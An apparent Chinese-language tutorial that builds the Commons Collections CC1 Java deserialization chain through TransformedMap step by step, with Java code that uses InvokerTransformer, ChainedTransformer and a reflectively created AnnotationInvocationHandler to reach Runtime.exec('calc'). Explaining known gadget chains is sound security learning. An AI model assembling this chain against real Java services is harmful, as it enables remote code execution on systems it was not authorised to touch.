前言:
学java反序列化,怎么能少了对每条链的理解呢?本篇我们主要是选择CC1中的其中一条链TransformedMap
进行手搓EXP,希望各位同学带好手套,小心你的小手磨出茧子。
CC1链其实是Java反序列化中最重要的一条,大家一定要认真理解吃透,这样剩下的链学起来就会非常轻松。而CC1一共是有两条:一条是Lazymap
,一条是TransformedMap
,我们先来看看TransformedMap
这一条:
整个漏洞的触发点就是在这里,可以看到在InvokerTransformer.transform
中可以利用反射调用任意方法。而其中的参数iMethodName
、 iParamTypes
、iArgs
都是变量,是通过InvokerTransformer的构造方法传入的。很大可能是我们可以直接控制的。
然后我们可以利用这个点来进行反射调用Runtime中的exec从而进行命令执行。很明显这里是利用反射来进行调用的。那我们先简单的写一个正常的利用反射来调用Runtime:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| Class c = Runtime.class;
Method getRuntime = c.getMethod("getRuntime");
Object runtime = (Runtime) getRuntime.invoke(null);
Method exec = c.getMethod("exec", String.class);
exec.invoke(runtime,"calc");
|
我们利用反射调用了Runtime中的exec,这正和我们的链条触发点吻合,那么我们可不可以用漏洞触发点的方式再反射一边:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| new InvokerTransformer("方法名",new Class[]{方法参数类型}, new Object[]{方法参数}).transform(Object);
Method getRuntime = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Object runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
|
我们很简单的就将对应的触发点反射写了出来,那光写出来不行啊,怎么用呢?我们接着看谁调用了InvokerTransformer
中的transform
:
可以看到这里有很多,我们选择TransformedMap
中的checkSetValue
调用了InvokerTransformer
中的transform
,我们先看看checkSetValue
中的参数分别是什么,来到TransformedMap
的构造方法:
这里其实是实现装饰HashMap的,但是他的构造方法是protected,也就是说我们没有办法直接调用,只能是通过他内部调用。他的功能就是接收一个map进来,对他的key和value进行一些操作。我们看到checkSetValue
中的valueTransforme
就是通过这个构造方法传入的。
那么好,我们再看看谁调用了这个TransformedMap
,最后发现再TransformedMap
中还有一个静态方法decorate
调用了TransformedMap
:
那么我们直接从这里开始结合之前写的InvokerTransformer
调用exec来先写一下利用链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| ........此处省略为上面的反射代码。
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
HashMap<Object, Object> HM = new HashMap<>();
HM.put("test","test");
Map<Object,Object> transformedmap = TransformedMap.decorate(HM, null, invokerTransformer);
|
上面我们只是分析了checkSetValue
的赋值情况,且这上述的三个方法是在同一个类当中的,并没有考虑到链条的问题,那么我们接下来再看链条问题,看一下谁调用了这个checkSetValue
:
可以看到在AbstractInputCheckedMapDecorator
中的MapEntry
中的setValue
调用了checkSetValue
。
我们可以看到这里其实就是遍历Map的一个方法,但是想要触发setValue
就必须遍历被装饰过的Map,也就是我们上面写的Map<Object,Object> transformedmap = TransformedMap.decorate(HM, null, invokerTransformer);
,既然来到了链条的下一部分,那么我们就需要反向写一下他的利用链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| HashMap<Object, Object> HM = new HashMap<>();
HM.put("test","test");
Map<Object,Object> transformedmap = TransformedMap.decorate(HM, null, invokerTransformer);
for(Map.Entry entry:transformedmap.entrySet()){ entry.setValue(runtime); }
|
所以接下来我们要找谁遍历了transformedmap
且同时调用了setValue
,因为只有在遍历transformedmap
时调用setValue
才能将transformedmap
传入从而触发我们的利用链。或许你会问了,这样一直找得找到什么时候?而且找到哪里才算结束?
goodquestion!!!我们并不是无厘头的在找调用链,我们只是在找调用链的过程中去寻找谁使用了readObject
方法(也就是我们的入口点)所以只有我们最终找到谁不仅在链上,而且还使用了readObject才会到达链条的终点。
那我们接着看谁遍历了transformedmap
且调用了setValue
:
这不是我们心心念念的终点吗!!!!(在readObject里遍历且调用了setValue)
这个类名很明显是动态代理过程中那个调用处理器类,老样子先看构造方法:
他接收两个参数,首先第一个type
是一个继承了Annotation的Class,这个Annotation是注解,这个注解我的理解就是带@符号的类。第二个memberValues
是一个Map,而且这个Map是我们可以完全控制的。那我们就可以把设计好的transformedmap
传进去。
现实是美好的,在这之中还有几个小问题:
- 这个
AnnotationInvocationHandler
的构造方法的权限修饰符是没写的,没写默认default
所以这里需要反射调用。
- 我们看到在正式调用
setValue
之前还有两个if判断,所以我们需要进行绕过。
- 还有一个小问题就是我们没有办法直接传入Runtime这个对象,因为他是不允许反序列化的,但是Runtime.class是可以的,这个我们在之前第一步反射调用exec的时候已经处理过了,但是还需要注意。
- 我们注意到setValue的参数并不是我们想象中的那么完美
所以我们需要解决上面这些问题才能真正的打通这条链,下面是解决问题的思路和代码:
解决第一个问题:
1 2 3 4 5 6 7 8 9 10
|
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationdhdlConstructor.setAccessible(true); Object o = annotationInvocationdhdlConstructor.newInstance(Target.class,transformedmap);
|
这里详细解释一下传入的两个参数,先说第二个吧,第二个参数是我们上面已经构造好的transformedmap。第一个参数呢,是我们上面提到的注解,这里贴张图吧,这里主要找带有参数的注解,方便我们解决第二个问题
解决第二个问题
两个if语句通过接收我们传入的第一个参数和我们Map中的key来进行判断,具体逻辑是:
第一个if判断传入key是否为空。
第二个if判断两个参数是否可以强转。
Object o = annotationInvocationdhdlConstructor.newInstance(Target.class,transformedmap);
1 2 3 4 5 6 7 8 9 10
|
HashMap<Object, Object> map = new HashMap<>(); map.put("value","value"); Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationdhdlConstructor.setAccessible(true); Object o = annotationInvocationdhdlConstructor.newInstance(Target.class,transformedmap);
|
因为我用的是@Target,我的map中key的值为value,他和@target中的参数是相同的都是value。所以两个if也解决了
解决第三个问题
其实第三个问题我们已经在刚开始都已经解决了,这里再提一下的原因是因为在他的方法中有一个可以遍历invokerTransformer,这样我们就不用像套娃一样的套了。
他接收一个transformers的一个数组,然后递归调用整个数组,所以我们可以这样写:
1 2 3 4 5 6 7 8 9 10
| Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
|
解决第四个问题
我们先跟进一下setValue看看他内部到底是怎么样实现的:
看到这里有没有一种熟悉的赶脚,再次跟进:
我们发现他最后这里调用了我们传入的chainedTransformer
,也就是我们第三个问题当中的chainedTransformer
,我换一种写法:
1 2
| 其实这里的 valueTransformer.transform(value); 就是我们 chainedTransformer.transform(Runtime.class);
|
那么我们只需要保证给 chainedTransformer.transform()
传入的参数是Runtime.class即可。
但是这里是
我们发现了一个非常有特点的函数就是ConstantTransformer.transform
:
他的作用就是将input
对象转换为一个值,并返回这个值。
虽然最后的那个点我们控制不了,但是如果我们通过chainedTransformer.transform();
去调用他的transform
那么我们也可以将整条链串起来。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
|
valueTransformer.transform(value);
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
|
调用链:
1 2 3 4 5 6 7
| AnnotationInvocationHandler.readObject() *Map(Proxy).entrySet() *AnnotationInvocationHandler.invoke() LazyMap.get()/TransformedMap.setValue() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform()
|
至此,我们已经完整的理解了从TransformerMap入口的CC1链,后面我们再讲另外一条CC1吧,这篇文章已经写了两天了,说实话真的挺费神的。
大家一定要认真吃透CC1,只要CC1没问题了,其他几条CC都是排列组合,学起来非常轻松。